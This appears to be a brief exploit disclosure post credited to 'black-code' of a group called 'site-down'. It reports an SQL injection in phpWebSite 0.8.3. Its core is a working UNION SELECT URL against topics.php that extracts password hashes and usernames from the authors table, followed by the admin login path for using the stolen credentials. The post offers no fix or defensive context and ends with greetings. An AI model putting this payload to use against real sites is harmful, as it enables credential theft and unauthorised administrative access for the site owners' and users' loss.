|
hi to all .. =0D
=0D
forum type : phpWebSite 0.8.3=0D
bug found by : black-code=0D
team : site-down=0D
type : sql injection=0D
=0D
code:=0D
=0D
www.xxx.com/path/topics.php?op=viewtopic&topic=-1%20Union%20select%20null,null,pwd,name%20From%20authors=0D
=0D
=0D
path to admin login:=0D
=0D
http://www.xxx.com/admin.php=0D
=0D
All my respect to my friend sweet-devil , lezr.com , g123g.net ..=0D
=0D
done .. peace